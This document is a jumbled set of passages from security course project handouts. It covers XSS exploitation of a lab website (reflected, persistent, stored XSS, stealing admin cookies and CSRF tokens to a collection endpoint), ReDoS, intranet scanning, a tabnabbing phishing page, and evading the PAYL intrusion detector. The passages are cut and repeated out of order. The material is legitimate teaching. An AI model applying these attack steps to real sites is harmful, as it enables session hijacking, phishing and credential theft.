the opener tab, the timer should reset. When the user leaves the opener tab, the timer starts counting. b. When a user spends more than 60 seconds on the opened tab, the opener tab should load a phishing page (https://cs6262.gtisc.gatech.edu/tabnabbing/your-GT-username) which is provided by us below.After the simulated user submits her credentials, you will receive a hash string in your Message Receiver Endpoint. 5. The tabnabbing phishing page should look exactly the same as the one below. The arrows are just for highlighting things you need to pay attention to. The one we used to grade yours is without arrows or the black rectangle. In the image comparison, we will not compare the URL in the address bar as people have different approaches. So, you will need an iframe to load the tabnabbing page.Tips 1. The easiest way to keep the title/favicon/URL in the address unchanged is to load your tabnabbing page into an iframe. Think of ways to load an iframe full screen. 2. You can access the tabnabbing page via https://cs6262.gtisc.gatech.edu/tabnabbing/your-GTusername to check what it looks like. The title is different from what is required. The only correct username and password combination will give you the correct hash string. 3. To test your payload, you can open a new browser tab. Copy and paste your URL into the address bar. Then click a random link to see if it opens in a new tab for you. The browser should auto focus on the new tab. Stay in the new tab for 10 seconds and switch back to your opener tab. Nothing should change on the opener page. Then focus on the opened tab again for at least 60 seconds. Go back to the opener tab. You should see the tabnabbing login form. The simulated user would fill in the form with the correct credentials and submit it to your message receiver endpoint. a. When you want to detect whether a user is on this page or not, don’t use focus/blur because they are not supported in the simulated environment. Use visibilitychange instead. c. When you update the page to the tabnabbed page, we recommend you clear all the HTML body, create an iframe for the tabnabbed page using document.createElement(‘iframe’), and attach this DOM to the HTML body. Avoid using document.write(…) as it obstructs our bot from filling in the username and password. d. Avoid using window.open but to use setAttribute. e. The autograder is sensitive to even a tiny difference in the screenshot. Make sure your tabnabbed page does not differ, e.g., by a line on the top.Deliverables 1. The attacking URL that carries the functional payload to deploy a tabnabbing attack. 2. The hash string you will see on your Message Receiver Endpoint after a successful attack.Rubric 1.1. Clicking on a random link on the page opened by your attacking URL opens a new tab. 5% 1.2. The opener page remains unchanged within 60 seconds when the user is focusing on the opened tab and changes after the user loses focus on it for more than 60 seconds. 5% 1.3. The title, favicon and URL in the address bar remain unchanged when the tabnabbing page is loaded. 5% 1.4. The look of the tabnabbing page loaded after tabnabbing matches with the expected screenshot above. (difference less than 5%) 5% 2. Correct hash string 5% Missing task5_3.js file with your submission 0%IMPORTANTFAQ Q. I can pass all the autograder tests (except the hash) but still cannot get the hash. What should I do? The user bot will fill in its username and password (and then press the submit button) on the tabnabbed page and identify them by DOM IDs. Make sure the page does not have anything obstructing this process.Q. I got the hash for tabnabbing, but the autograder said the hash is incorrect. Why? If the login user to your tabnab page is not the user bot, it will send a wrong hash to your endpoint. Please ensure that it was the user bot who logged in to the tabnab page but not any other users, e.g., you being the victim of your script.Other tips: Do not use window.open for opening a new window (when the victim clicks a link).Submissions All submissions will go to GradeScope where an autograder will help you understand the correctness of your solution. 1. A questionnaire 2. One JavaScript file for task 4 3. One JavaScript file for task 5.2 4. One JavaScript file for task 5.3 The autograder will deduct points for files that are not uploaded. You can upload an empty file if you haven’t gone that far yet, or just ignore the points deducted. Make sure you upload all the files when you are done.FAQQ. What do we answer and what do we not?Q. Do the submitted scripts need to have good readability? No, readability is not required.Q. How to clear my endpoint? You can clean your endpoint/inbox by posting tons of messages to your inbox or redoing your Q1.5 in Task 1.Q. I submitted the hash I received from my endpoint, but the autograder said it was incorrect. What should I do? Please make sure that you have correctly set your username in the questionnaire.Q. Can I utilize ChatGPT or similar AI-based bots for this project?Q. My solution works fine in my browser, but the server or the auto grader is not happy with it. Do they fault by chance?Q. How can I debug my code on the server side? Could you run my solution on the server side instead and tell me what is wrong? We don’t debug your code. Learning the attacker’s mind is one of the goals of the project. Although you don’t have server access for debugging, you can inject a script into the project server. Using log messages in the injected script, you can figure out the server’s status (e.g., where it gets stuck) by transferring the log messages from the server to your endpoint.
Contents1 Goals 2 2 Section 1: Project quiz (5 points) 2-3 3 Section 2: Project setup 4 4 Section 3: Project tasks (95 points) 5-10 5 Section 4: Final deliverables and rubric 11-13 6 Section 5: FAQs 14-17Goals of the Project ● The goal of this project is to introduce students to machine learning techniques and methodologies that help to differentiate between malicious and legitimate network traffic. ● In summary, students are introduced to: ○ how to build a machine-learning model based on normal network traffic. ○ how to conduct a blending attack producing artificial network traffic that resembles the normal one, and bypass the learned model.Suggestion We recommend that you use whatever is comfortable for you — either local set-up or the Linux VM provided. In the past, students faced no difficulty in setting up the project and working on either Windows or Macintosh OS. Readings and Resources This project relies on the following readings:● “Anomalous Payload-based Worm Detection and Signature Generation”, Ke Wang and Salvatore J.Stolfo, RAID2004 ● “Polymorphic Blending Attacks”, Prahlad Fogla, Monirul Sharif, Roberto Perdisci, Oleg Kolesnikov, Wenke Lee, Usenix Security 2006 ● “Sensitivity and specificity” Section 1: Project Quiz (5 points)We have created a small quiz to help you understand the topics covered in this project. Please read the papers (under Readings and Resources) before attempting the quiz and the subsequent tasks.1. In 1-gram PAYL, the byte frequency is calculated by counting the number of occurrences of a particular byte and dividing it by the length of the payload. a. True b. False2. The threshold for Mahalanobis distance is used to determine if the current payload is normal or malicious. Specifically, if the Mahalanobis distance of the current payload is LESS than the threshold, the current payload is malicious and an alert is raised by PAYL. a. True b. False3. Since polymorphic blending attacks try to evade network anomaly-based intrusion detection systems (IDS) by making the attacks look like normal traffic, they can be viewed as a subclass of mimicry attacks. a. True b. False4. In polymorphic blending attacks, the attacker uses an artificial profile which can be defined as: a. The attack payload’s profile which can bypass the IDS b. The profile of the payload generated by the polymorphic decryptor c. The profile estimated by observing normal traffic d. None of the above5. Polymorphic blending attacks use the following basic steps: (1) Blend the attack body within an instance of normal traffic payload and create an artificial payload using polymorphic encryption, (2) Let the IDS analyse this artificial payload and monitor the response received from IDS (3) Based on the response received repeat step 1 with another instance of normal traffic payload. Repeat until you find an artificial payload that can evade the IDS. a. True b. False1.1: DeliverablesFor each question, please enter your option in answers.txt as shown in the sample file below. You will deliver answers.txt for this part.You can find answers.txt under the project directory.Section 2: Project SetupYou can either use the provided VM to complete the project OR you can set up your own environment locally. 2.1: VM Setup 1. Download the VM using one of the links provided in the project description on canvas. (The password for the VM is cs6262). 2. All the required packages/dependencies are already installed in the VM. The project files are under: Desktop -> project 5 HOWEVER: please use project5.zip in Canvas for the most updated version. 2.2: Local Setup 1. Download the project zip file from the link provided in the project description on Canvas. 2. Please refer SETUP.txt in the PAYL directory to install the dependencies, using the same versions specified in the SETUP.txt.The local setup is tested on Ubuntu 18.04 and Ubuntu 20.04. Please use Ubuntu 18.04 if possible.TIP: Even if you are using the provided VM, please check SETUP.txt to understand how the project is set up and to get an overview of the various code components in the project. This might help in debugging any issues you might face later.Section 3: Project Tasks (95 points)3.1: Task A – Training an ML model to detect normal traffic (17.5 points) 3.1.1: Preliminary Reading Please refer to the reference readings to learn about how PAYL model works, in particular, a) how to extract byte frequency from the data b) how to train the model c) the definitions of parameters, threshold and smoothing factor3.1.2: Code and data provided The PAYL directory provides the PAYL code and data for model training.3.1.3: PAYL Code Workflow Here is the workflow of the provided PAYL code:● Operates in 2 modes: a) training mode: It reads pcap files provided in the ‘data’ directory, and tests parameters and reports the True Positive rates. b) testing mode: It first builds a model using parameters and data specified in the directory. Then it will test a specific packet and decide whether the test packet fits the model. ● Training mode ○ Read the normal traffic data and divide it into two parts, 75% of the data for training and the rest 25% for testing (NOTE: You will NOT change these portions in the code). ○ Sort the payload strings by length and generate a model for each length. ○ Each model per length is based on [mean frequency of each ascii, standard deviation of frequencies for each ascii].To run PAYL in training mode $ python3 wrapper.pyTesting mode● Read the normal traffic data from the directory, and train a model using specific parameters. Then test the specific packet (fed from the command line) using the trained model. ● Compute the Mahalanobis distance between each test payload and the model (of the same length) ● Label the payload: If the Mahalanobis distance is below the specified threshold, label the payload as normal traffic. Otherwise, label the packet as attack traffic.To run PAYL in testing mode $ python3 wrapper.py [FILE.pcap]where FILE.pcap is the data you will test.3.1.4: Tasks – Conduct experiments to select parameters● You are provided with artificial payloads (normal network traffic) to train a PAYL model. ● After reading the reference papers, it should make sense that you cannot train the PAYL model on the entire traffic of different protocols. So first you need to select a protocol: a) HTTP or b) DNS by changing the hard-coded option in wrapper.py. ● The next step is to select a proper pair of parameters for the model. For the selection process, you will provide a range for both parameters (by modifying the threshold and smoothing factor in wrapper.py). Then run wrapper.py on training mode and make sure the normal traffic (artificial payloads stored in the default data folder) is fed while training.The figure shows a sample output from the wrapper.py. You will find mSF and mTMD values which make mTP>96% for both HTTP and DNS protocols respectively. The parameters can be different for the two protocols.3.1.5: Deliverables Please report for each protocol that you used, the parameters that you found (output by wrapper.py) in a file named parameters.txt. Please report a decimal with rounded 2-digit accuracy for each parameter.NOTE: You are given a sample parameters.txt with dummy values in the PAYL directory. Please update the relevant values with your own answer. Check section 4 for more details. NOTE: The value for “DISTANCE” in parameters.txt will be obtained in the next task (section 3.2).TIP: You can set lower and upper bound values of both parameters in wrapper.py as the values you found in training mode to avoid multiple iterations during the testing mode.3.2: Task B – Evaluating packets on the ML model (17.5 points)Download your unique attack payload [YOUR_GTUSERNAME.pcap] from Files in Canvas, and place it in the PAYL directory of the Project 5 folder. (Path: Files -> Projects -> Project Five -> student_pcaps)For this part, you will create attack data that can evade the ML model you trained in Task A. You will ensure that the attack data does not fit the model, while the normal network traffic fits. Make sure you have completed Task A and that the parameters.txt file is set. Completing Task A and Task B will be essential to demonstrating the polymorphic blending attack in Task C.Use PAYL in testing mode ● You will first change wrapper.py to use the parameters recorded in parameters.txt. Open wrapper.py and change the None values of the following parameters: http_smoothing_factor = None dns_smoothing_factor = None http_threshold_for_mahalanobis = None dns_threshold_for_mahalanobis = None● For BOTH the DNS protocol and the HTTP protocol, verify that your attack payload gets rejected. By “rejected”, we mean that you will get a “It doesn’t fit the model” message on your test screen as seen in the following figure, which indicates that your attack sample has been detected as anomalous.$ python wrapper.py .pcap● Now verify the artificial payloads (normal traffic). We provide two artificial payloads; one for HTTP (http_artificial_profile.pcap) and one for DNS (dns_artificial_profile.pcap). Both are in the PAYL folder. Test each artificial payload against your model.(set the training_protocol parameter in wrapper.py) $ python wrapper.py http_artificial_profile.pcap (set the training_protocol parameter in wrapper.py) $ python wrapper.py dns_artificial_profile.pcap● (NOTE: DO NOT forget to change parameters according to each protocol while testing relevant payload, e.g., DNS parameters to test dns_artificial_profile.pcap.) These should be accepted by the model. That is, you should get an output message that says “It fits the model” as presented in the following figure, which indicates that the sample is not detected as anomalous. The output will show your own parameters, not “mSF” , “mTMD”, or “mTP”.3.2.1: Deliverables Please report your calculated distance (where mDISTANCE is in the above figures) in parameters.txt for each protocol with the values of the attack payload (YOUR_GTUSERNAME.pcap) after completing Task B.3.3: Task C – Crafting a packet to evade the ML model (60 points)We assume that the attacker has a specific payload (attack payload) that she would like to blend in with the normal traffic. Also, we assume that the attacker has access to one packet (artificial profile payload) that is normal and is accepted as normal by the PAYL model.Preliminary reading: Please refer to the “Polymorphic Blending Attacks” paper. In particular, section 4.2 describes how to evade 1-gram and the model implementation. More specifically we are focusing on the case where m
Spring 2025 We recommend the latest Google Chrome for this project! Christopher Brakalov Santosh Singh Objectives 1. Attack a web application by exploiting its XSS vulnerabilities to infect its users as persistently as possible. 2. Write XSS exploits to launch a social engineering attack and trick a simulated user into giving up their credentials. 3. Research basic cookie management and how to secure them. Background You’ve been invited to the CS6262 security club; welcome! The security club has a new official website we use for sharing information and resources. Unfortunately, the last administrator was too busy and didn’t perform any security audits on the website. Oh no! The club’s security team wants you, the club’s newest member, to deliver a full security audit of our new official website. You’ve been tasked to provide a pen-testing report to the club’s security team. You’ve received this message to start you off: “Hi there! The club’s website can be found at https://cs6262.gtisc.gatech.edu. We’ve integrated the GT Single-Sign-On service, so please sign in with your GT account and it will create a user for you. The website is not complicated. It is a simple Content Management System (CMS) with several features enabled, e.g., text search, dark mode, rich text editor, etc. Good luck auditing! The CS6262 Security Team”Before getting your hands dirty Let’s first orient ourselves on the website. The project website is located at cs6262.gtisc.gatech.edu – type this into your browser. We recommend using the latest version of Google Chrome.1. Sign in first. b. After sign-in, you will be directed to the homepage. At the top right corner, you can see your username and a dropdown list, which means you have successfully logged in. You can read through the WYSIWYG at https://summernote.org/ c. More themes for the editor are available at https://bootswatch.com/2. The “My writeups” tab will only return your submissions which can be used to see your submitted posts for task 4. a. There were previously some posts located here, but they have since been deleted. b. There should be no posts in your post feed.3. The “New writeups” tab lets you create a new post that will appear in your post feed upon visiting the website. a. The WYSIWYG editor features “Code View” which allows you to directly edit HTML and embed scripts into your posts.b. Try to create a “Hello World!” post to familiarize yourself with the interface. c. Next, try to add an HTML snippet inside the “Code View” like below:4. The “Console” tab is a testing tab that allows you to simulate other users and admins. Additionally, there is a link for receiving messages via an endpoint we created for you. The ReDoS and Information Theft sections are for use in later tasks. a. The Message Receiver Endpoint i. In these task scenarios, you’ll be asked to steal cookies and send them to this endpoint for collection. The endpoint acts as a pivot to send and receive messages. It mimics a command-and-control (C2) server that threat actors use as a main tool to control cyberattacks and exfiltrate data. ii. This endpoint link is a unique link specifically for you. Do not share information you collect here with other students. iii. The endpoint is necessary for XSS attacks to forward information from the victim’s point of view. You should use the “POST” method to send messages to this endpoint. To view the received messages, click the link and refresh when you need to receive a new one. iv. This endpoint will be primarily used for task 4 and 5.b. The User/Admin instance’s running status tells the current running admin role and user roles. You can at most create one admin role and one user role.To trigger an XSS attack on the admin side, fill in the URL of your post and submit to the admin role. It will create or override the current running browser instance, which means when it’s messed up, you can submit a URL to override the current one.To trigger an XSS attack on other users’ sides, fill in the URL of your malicious payload. The user instances also override the current one when you submit new URLs.The admin instance will be used for task 4 and task 5.2. The user instance will be used for task 5.3.c. The ReDoS section lets you practice application layer DoS.i. The server is a simple username and password verification website. Your password should not contain the username, the whole string. When you are able to launch the ReDoS attack, another request to this page will not respond as it should in a very short time interval. When your attack succeeds, you should be able to see a hash string in the result area. Note that the hash string is correct only when it is under a ReDoS attack. ii. Bear in mind that toggle the ReDoS heartbeat when you see a hash string so you can copy and paste. Because the result is refreshed every 10 seconds. iii. Check “Restart the ReDoS instance” to launch the ReDoS server again when you feel like the server is not responding to your submission. d. The Information Theft section will show an input box when you are able to log in as an admin. As a regular user, you won’t be able to see this form. So, there are two approaches to access this form. However, it might be easier to go for approach 2.Here are the two approaches. ii. Post your username and submit the form directly as admin. The form is protected by CSRF. Think of ways to find out the endpoint to submit to, read the CSRF token and send the post request.Tasks and Grading Rubric Note: Fill up the questionnaire and submit required files onto GradeScope.Task 1. Basic HTML and JavaScript Test (5%) 1. In this section we will introduce a few basic HTML and JavaScript knowledge to help you with other tasks. It is for practice purposes. There will be no points in this section.1.1 DevTools Modern browsers will provide DevTools for front-end developers to debug and tune the performance when developing a website. Attackers can also use these tools to explore and collect information. Open your Chrome and press F12 to open the developer console. DevTools will popup. Here you can run JavaScript in the console, view the source html of the webpage, capture the network traffic, and other functionalities. Try to explore it by yourself.1.2 console.log() console.log() is commonly used to print information into the console of the developer tools for debugging purposes. Open the devTool and type console.log(“yourGTID”); You can see your GTID is printed in the console.1.3 setInterval setInterval is used to fire a function given a frequency. It will return an intervalID which can be passed to clearInterval to cancel the interval.Question: Given a variable var counter = 5, make use of setInterval and clearInterval to reduce the counter to 0 in every second and then stop. You can run your code in devTools to verify. var counter = 5; // Your code below1.4 setTimeout setTimeout will fire a function after the delay milliseconds. The function will only be fired once. Similarly you can use the returned timeoutID and clearTimeout to cancel the timeout.Question: Given a variable var counter = 5, make use of setTimeout to reduce the counter to 0 in every second and then stop. You can run your code in devTools to verify. var counter = 5; // Your code below1.5 Promise A Promise is an object used for async operations in JavaScript. There are three states in a Promise object: Pending, Fulfilled, and Rejected. Once created, the state of the Promise object is pending. So the calling function will not be blocked and continue executing. The Promise object will eventually be fulfilled or rejected. Then the respective resolve or reject function will be called. Below is an example of a Promise. Before running the code, can you tell what the output would be? Can you explain why? let testPromise = new Promise((resolve, reject) => { setTimeout(()=>resolve(“Promise resolved”), 1000); }) testPromise.then(message => { console.log(message); }) console.log(“Calling function”);2. In this section, we will ask you 5 questions related to HTML and javascript. Each question contributes 1% of the total score. Please fill in your answers in the provided questionnaire.2.1 is an HTML element that allows the website to embed content from another website. The attacker can make use of XSS to dynamically create an iframe and load phishing content from the attacker’s website. In task 5.3, you will be asked to load a remote page in an iframe in full screen. This question, however, just asks you how to adjust an iframe’s layout.Which of the following options can adjust iframe’s width and height correctly? A) B) C) D) All of above2.2 In order for the tag to open a new tab/window when clicked, what value should you set for the target attribute? (The answer should only contain the value itself). This is necessary for task 5.3.2.3 You will see three alerts after running the code below. Put the output in sequence. The answer should be 3 numbers separated by commas with no space, e.g. 1,1,1. Think about why that is the case. You will use this technique in task 5.2. for (var i = 0; i < 3; i++) { const promise = new Promise((resolve, reject) => { setTimeout(resolve, 1000 + i*1000) }); promise.then(() => alert(i)); }2.4 Which of the following can set jsScript as a string variable correctly? Understanding how HTML code is parsed is important. This question is related to task 3. A) let jsScript=a=2 B) let jsScript='a=2' C) let jsScript='a=2' D) None of above2.5 fetch is an Application Programming Interface (API) which makes use of promises to send web requests. It is supported by most major web browsers. Study the use of fetch API and try to make a POST request to your Message Receiver Endpoint with the payload body being {“username”: “your-GT-username”}, e.g. {“username”: “abc123”}. Then, check your message receiver endpoint again using your browser to see the response. It will be a hash string. Copy this string into the questionnaire.FAQ Q. I submitted the hash I received from my endpoint, but the autograder said it was incorrect. What should I do? Please make sure that you have correctly set your username in the questionnaire.Task 2. Exploit the Reflected-XSS (10%) Find where to exploit a reflected XSS and fill in the questionnaire URL by visiting which an alert should trigger.Concept Review Reflective XSS is an attack where a website does not return requested data in a safe manner. Reflective is generally an XSS attack where the attacker sends the victim a link to a reputable website. BUT, this link contains malicious javascript code. For example, https://www.facebook.com/login?username=username&password=passwordsteal-yourinformation.js If the website returns the data in an unsafe manner (does not sanitize the output) and the victim clicks on this link, then the malicious code will be executed in the context of the victim’s session.Requirements The content of the alert doesn’t matter. For example, https://cs6262.gtisc.gatech.edu/endpoint…yourpayload is what you need to fill in the questionnaire.The autograder will visit your URL. If it detects an alert, then you will receive full credit.Tips 1. You don’t need to log into the website to find this vulnerable point and exploit it. 2. All inputs are malicious! Look for where you can type and try it with some alerts.Deliverables 1. A URL that includes the vulnerable endpoint and your alert payload. 2. The alert should show the domain as below.RubricYour URL is able to trigger an alert 10% Your URL fails to trigger an alert 0%Task 3. Evolve to Persistent Client Side XSS (15%)Therefore, instead of sending a link required in task 2, you find you can actually modify the payload and let the payload live in this web app forever. As long as a user clicks on the link you send once, she is infected persistently unless the payload is cleared.Concept ReviewAs Web technology evolves, more and more applications start to focus on user experience. More and more web applications, including cross platform Electron applications, are taking over desktop applications. Some user’s non-sensitive data is now stored on the client-side, especially the look and feel preferences of an application, to let the App load faster by remembering the user’s preferences without passing back small data chunks.(You can learn more how prevalent this unsafe design is nowadays by reading the paper Don’t Trust The Locals: Investigating the Prevalence of Persistent Client-Side Cross-Site Scripting in the Wild)Then, the variable is read by an unsafe sink, e.g. eval, element.innerHTML(data). Inspect what is stored locally for the web application, cs6262.gtisc.gatech.edu, and how it is used.– F12 on the keyboard and go to Application tab to inspect the Storage as highlighted below – – The Application tab provides you with a quick look at what local data is stored. That includes local storage, cookies, etc. – The Sources tab provides you with static resources, like scripts, HTML, and CSS files. That is the place you should focus on debugging JS code.Requirements Now, modify the payload in the link from task 2 and fill the updated URL in the questionnaire.The autograder will first visit your URL (NO alert should pop up at this point). Then, it would close the page and reopen to trigger your payload to run (One alert should pop up). Next, it refreshes the page without retriggering your payload (Another alert should pop up). Again, it should detect the alert twice. It should not pop up an alert by only visiting your URL. (Namely, the alert should be triggered when the victim visits any page on this website after reopening.)Tips 1. Read the post “Dark Mode” on the website. 3. The vulnerability is exploitable even if the victim has not logged in. 4. In this task, you don’t need to submit a post yet, which is for task 4. 5. The default dark mode style sheet is “https://bootswatch.com/4/cyborg/bootstrap.min.css”. You can reset it if you feel the website is messed up. Or, you can go to the Application tab->Application>Storage->Clear site data to reset everything.Some more Tips 1. Your URL should NOT trigger any alerts when visiting it directly. And, you don’t need to trigger your payload to execute in your exploit code. The autograder will do that for you. This task is trying NOT to draw the user’s attention (e.g. popups, alerts, and theme changing) when the user clicks on your URL. The alerts are for grading purposes. 3. Remember to leverage task 2’s result to inject your payload. When the page reloads, your payload can be read and executed. Deliverables 1. A URL that includes the vulnerable endpoint and your malicious payload.Rubric1. Your URL is able to trigger an alert after reopen 7% 2. Your URL is able to trigger an alert after refresh 8%Task 4. Exploit the Stored-XSS (20%) The website, https://cs6262.gtisc.gatech.edu, allows users to create articles. As a user, one needs to submit the post to a moderator who is the admin of the website for approval. This might be an interesting point to investigate whether you can inject something so when the admin is reviewing your post, thereby you can hijack the admin’s login session. This website uses a rich text editor which not only enables styled content but sanitizes the user’s input while preserving its style.In this task, you will submit a post with an injected payload that launches XSS attached to an admin user. Then, you need to steal some information that is only visible to an admin.Concept Review Stored XSS is an attack where a website does not store data in a safe manner. An attacker could then store malicious code within the website’s database. Said code could be executed whenever a user visits that website. So, a post for an admin’s approval seems like something you will be interested in. If you can steal the admin’s login session cookie, you can login as her to see what she can see.This httpOnly flag is a good way to prevent JavaScript from reading sensitive cookies. However, it doesn’t mean it can mitigate XSS attacks. Attackers, having malicious scripts running in the victim’s browser, are still able to send requests and forward the responses to themselves.Even though the website is protected by CSRF tokens, attackers can still manage to post malicious payload pretending to be the user.Requirements 1. Exploit the rich text editor to inject another XSS payload. Such payloads should NOT trigger an alert for a successful exploit. Your payload SHOULD set a global variable window.gotYou=true for the autograder to read. 2. You will steal admin’s cookies such that you can log in as admin to generate your unique hash string. Or, if you cannot steal the session cookie, you need to find a workaround to get the hash still. You will need to use the Message Receiver Endpoint to receive the stolen information. 3. Please DO NOT put any comments in your final code submission. 4. Please put a semicolon at the end of each statement.Workflow 1. Log into the website with your own credentials. 2. Inspect your session cookie to check if it has httpOnly set. a. If not, an XSS payload can steal it, so you can log into the website as another one. b. If yes, you need to find another way to get the hash. 3. Create a new post and find the vulnerable point of the editor. The editor has two modes. a. “What you see is what you got” mode. Try to type in some inputs and see how the editor deals with them. b. “Code editing” mode. Try to type in some JS code with tag and exit the mode. See how the editor renders your input. 4. Submit a post that can trigger an alert. Go to “My writeups” to see if you can see the alert box. If not, your payload or the way you exploit the editor is incorrect. 5. When you can exploit the editor successfully, submit a new post instead of triggering an alert. It should issue an HTTP request to your HTTP server. A simple “fetch(‘https://your_endpoint_address/’, {method: ‘post’, body: ‘hi’})” will help you verify the correctness. Then, you should be able to see this after opening your endpoint in a new tab. In this way, you should be able to read data out of the website and send it to your HTTP endpoint. 6. Copy the post’s URL and submit it to your console page to start an admin instance. Make sure your payload works as you intended before proceeding to the next step. 7. Modify your payload so that you can fetch (and see) the admin’s console page 8. Look into the “Information Theft” section and its HTML source code. 9. Further modify your payload to steal the (credential) token and use it to send the request for getting the hash. (This token will change on the admin’s next visit. It is not a good idea to hardcode a stolen token in your payload.)Tips 1. Read the post “WYSIWYG” on the website! a. The editor would allow you to type HTML/JS code directly. And, it doesn’t sanitize them if you do it in the code editing mode directly. Remember to toggle the code editing button back to the rich text mode to make sure it takes effect. 2. If a session token is protected by httpOnly, JS code won’t be able to read it. But! The XSS payload will run in the admin’s browser. Technically, every HTTP request to the website issued by the payload could carry the admin’s credential cookies on the website. 3. You are told that the hash is obtained on the page “/console”. Why not use the payload to send a request to “/console” to see what is invisible to regular users? 4. If you can find something interesting from the response, can you steal the CSRF token and send another request to the endpoint to get the hash string? 5. Remember that the admin’s token can only authenticate the admin’s request. 6. The token changes when the admin refreshes the console page. Try not to hardcode a stolen credential in your payload.Some more Tips 1. It’s better to use single quotes all the time as the whole payload will be interpreted as a string wrapped by a pair of double quotes, even though the autograder will replace all your double quotes with single ones. 2. You don’t need to request /console in your payload. You only need to submit the final payload used to retrieve the hash. 3. “window.gotYou = true” is set correctly and can be seen on your local browser, but the evaluation of it fails. That’s caused by incorrect syntax introduced after escaping your payload. People have different typing and coding styles, and we understand that. We appreciate it if you can follow the standard JS syntax, including a trailing semicolon (‘;’) at the end of every expression. Then, even if some spaces and/or are stripped out, it can still work. This is important to check. And please DO NOT put any comments in the code for submission. 4. Some people say they cannot let the admin click the button to submit their username. Think about what page the admin is actually visiting. Are the DOM elements on the page? You are only able to see them on the`/console` page. If you want to interact with those elements, you have to be on the `/console` page. Deliverables 1. The hash string you find when you log in as admin. You need to fill in the input box with your own username!2. The full URL of the endpoint to get the hash. For example, https://endpoint/path/…, the one used in a fetch, xmlhttprequest, or ajax request. 3. Your payload. a. The payload should set a global variable window.gotYou=true, which is used by the autograder to check whether you are able to exploit the website. You can verify the variable in the console like the picture below.Rubric 1. Correct hash string 10% 2. Correct endpoint of getting the hash 5% 3. The payload which should set ‘window.gotYou === true’ 5% Missing task4.js file with your submission 0%Recommended Reading https://developer.mozilla.org/en-US/docs/Web/API/fetchFAQ Q. How to embed code in a write-up? (or Why is my script not working in a write-up)?Also, before posting your write-up, please switch back to the “normal” mode to ensure it works.Q. I have stolen the cookie of the admin. Why couldn’t I log in as the admin?Logging in as an admin is difficult since the website is well-configured to prevent it from happening, even if you have the cookie. An easier way is to “see” the admin’s console page (via your exploit script) and locate the “Information Theft” input box. Looking into the HTML of the page, you will know how you can instruct the admin (again, using your exploit script) to help you to get the hash.Q. The autograder gave me the error message “Correct hash, but you do not have the correct endpoint or payload.” What should I do? The autograder checks your script. Please make sure you have submitted it correctly. Also, please make sure your submission strictly follows the format guideline.Q. Many unexpected messages flood in my endpoint/inbox. I have cleaned all my write-ups and stopped all the bot instances. Why is it still happening? A possible reason is that some residual malicious code/scripts are still left on the website, e.g., your local storage or endpoint/inbox. Please clean all the cache and local storage of the website and clean your endpoint/inbox. You can clean your endpoint/inbox by posting tons of messages to your inbox or redoing your Q1.5 in Task 1.Task 5. Launch Attacks (50%) You just have learned how to exploit XSS in various ways. In this task, you will learn what XSS is capable of.Task 5.1. ReDoS (10%)Here are some references: https://www.cloudflare.com/learning/ddos/application-layer-ddos-attack/ https://en.wikipedia.org/wiki/ReDoS Freezing the Web: A Study of ReDoS Vulnerabilities in JavaScript-based Web ServersRequirements Read the references above to understand what ReDoS is and its impact. In this task, you will try one kind of ReDoS attack.You will find the ReDoS section on the console page. Try to compose a username and password combination to launch a ReDoS attack against the ReDoS server. When an attack is successful, a hash value will be available for you to submit.Tips The username can be a regular expression. Read the materials above, and you will find the solution.Deliverables 1. The hash value you find. 2. Username and password you used to launch the ReDoS attackRubric Correct hash string seen after ReDoS 10%Task 5.2. Local Web Server Scanning (15%)As we learned from the lectures, a DNS rebinding attack allows an attacker to bypass SOP, thereby the attacker can read content from intranet web servers. But before launching a DNS rebinding attack, one must know what web servers are available in that organization. A local webserver scanning can help the attacker determine the targets.Now, assume you, as the attacker, have already learned the local IP address range below. And your goal is to determine what IP addresses are serving web content. (Recall the port number or protocol name for serving web content.) A web server will respond “hello” in plain text.The local host IP range is from 172.16.238.4 to 172.16.238.255, which is what you need to scan. These hosts are not accessible from outside as it’s only accessible to the victims – a user or an admin.Requirements 1. Recall the techniques used for task 4 that launches a stored XSS attack on the admin. Start an admin instance to visit your post that carries the scanning code. 2. Report what IP addresses are serving web content. And fill them in the questionnaire.Tips 1. console.log logs messages in the browser which executes the code. I.e., a simulated user executes your code, then the message will be logged in the user’s browser. You won’t be able to see it in your browser. To receive the message, you need to forward the response to your endpoint. 2. The message sent to the endpoint is in serial, meaning the latter one will override the previous one. Please consider aggregating the result first and sending it back to your endpoint. Promise.all is your best friend for this. 3. You are given a known IP (172.16.238.10) for testing purposes. Don’t report this one in your questionnaire. Deliverables 1. Local server IPs in the format of ip1,ip2,ip3,…. No spaces between them. Only comma separated.Rubric You will get 15% for all correct IP addresses and 0% for all incorrect.Each correct IP reported 3% Each incorrect IP reported -3% Missing task5_2.js with your submission 0%Recommended Reading to Learn More Here are some references to cross-origin vulnerabilities: https://portswigger.net/web-security/cors/access-control-allow-origin https://www.pivotpointsecurity.com/blog/cross-origin-resource-sharing-security/These two articles below are related to using WebRTC to scan from a browser because of the mechanism of establishing a peer to peer connection if you are interested. These are past-tense anyways, but you are welcome to think of any new ideas related to this. A Browser Scanner: Collecting Intranet Information https://medium.com/tenable-techblog/using-webrtc-ice-servers-for-port-scanning-in-chromece17b19dd474FAQ Q. My script always sends IP 172.16.238.255. Why?Q. I cannot fetch the test IP 172.16.238.10 (or I got the error message ERR_CONNECTION_TIMED_OUT). What should I do? Please make sure that it’s the admin who runs your script. This IP is only accessible by the admin. Also, please specify the correct protocol name or port number. (The server serves web content, as mentioned in our write-up.)Task 5.3. Tabnabbing (25%) In this task, you are determined to steal other users’ credentials. As per an online survey, you learn people open 10~20 tabs on average to surf the Internet. Therefore, you think tabnabbing, one of the phishing attacks that lure users into giving up their credentials, could be a good social engineering attack vector.Here are some references about what tabnabbing is. https://owasp.org/www-community/attacks/Reverse_Tabnabbing https://en.wikipedia.org/wiki/Tabnabbing https://medium.com/@shatabda/security-tabnabbing-what-how-b038a70d300eGiven restrictions https://cs6262.gtisc.gatech.edu has and you being able to exploit the XSS vulnerabilities only, you have to implement a variant of tabnabbing following the requirements below.Requirements 1. You will create a URL with the necessary payload to deploy the attack to a simulated user like task 1 and task 2. 2. Your payload should modify all the tags on the website, so when a user clicks any links on the website, a new tab will open to load the content. 3. When the user focuses on the newly opened tab, the opener tab (the page whose URL has your payload) should remain unchanged until the user has lost focus on it for more than 60 seconds. a. When a user switches back to the opener tab, the timer should reset. When the user leaves the opener tab, the timer starts counting. b. When a user spends more than 60 seconds on the opened tab, the opener tab should load a phishing page (https://cs6262.gtisc.gatech.edu/tabnabbing/your-GT-username) which is provided by us below.After the simulated user submits her credentials, you will receive a hash string in your Message Receiver Endpoint. 4. The favicon and title of the opener tab should NOT change. Because those are shown on the tab. 5. The 